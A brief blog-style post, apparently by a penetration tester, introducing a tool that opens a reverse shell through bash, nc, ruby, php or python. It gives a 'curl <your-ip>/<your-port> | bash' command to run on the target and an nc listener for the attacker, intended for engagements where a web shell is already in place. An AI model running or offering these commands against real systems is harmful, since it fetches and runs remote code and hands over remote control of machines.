I have created a tool which will try and establish a reverse shell to a nominated IP address and port using the following binaries (in order).

  1. bash
  2. nc
  3. ruby
  4. php
  5. python
To use this tool run the following on the target host:
curl<your-ip>/<your-port> | bash

On your machine make sure you have something like this running:
nc -l -p <your-port>
This should save you some time when performing engagements and you have a web shell or similar. It's worth noting that the target will attempt to make a TCP connection outbound, which may be picked up.

Be aware that curl XXXX | bash is seen as bad practice these days (when was it ever a good idea?), but in this case it's convenient. You can grab the PHP code here.